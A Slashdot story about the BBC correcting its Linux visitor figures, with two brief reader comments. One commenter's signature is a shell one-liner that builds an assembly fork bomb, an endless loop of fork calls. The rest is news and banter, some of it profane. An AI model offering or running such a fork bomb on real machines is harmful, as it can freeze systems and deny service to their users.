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BBC Backpedals On Linux Audience Figures

Posted by kdawson on from the couple-orders-of-magnitude-between-friends dept.

6031769 writes "After recently claiming that only 400 to 600 Linux users visit the BBC website, the BBC's Ashley Highfield has now admitted that they got their numbers wrong. The new estimate is between 36,600 and 97,600 according to his blog post. He stops short of describing how Auntie arrives at these two widely different sets of numbers and how their initial estimate is two orders of magnitude out."

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  1. Loose Change by Soporific · · Score: 0, Redundant

    It's another fucking conspiracy to keep the linux world at bay, this time by two orders of magnitude even... Jebus...

    ~S

  2. Re:Nothing is solved, though by Hal_Porter · · Score: 0, Redundant

    Why not just view the site from a Windows machine and IE? It's not like there isn't one on the desk next to you most places you work.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;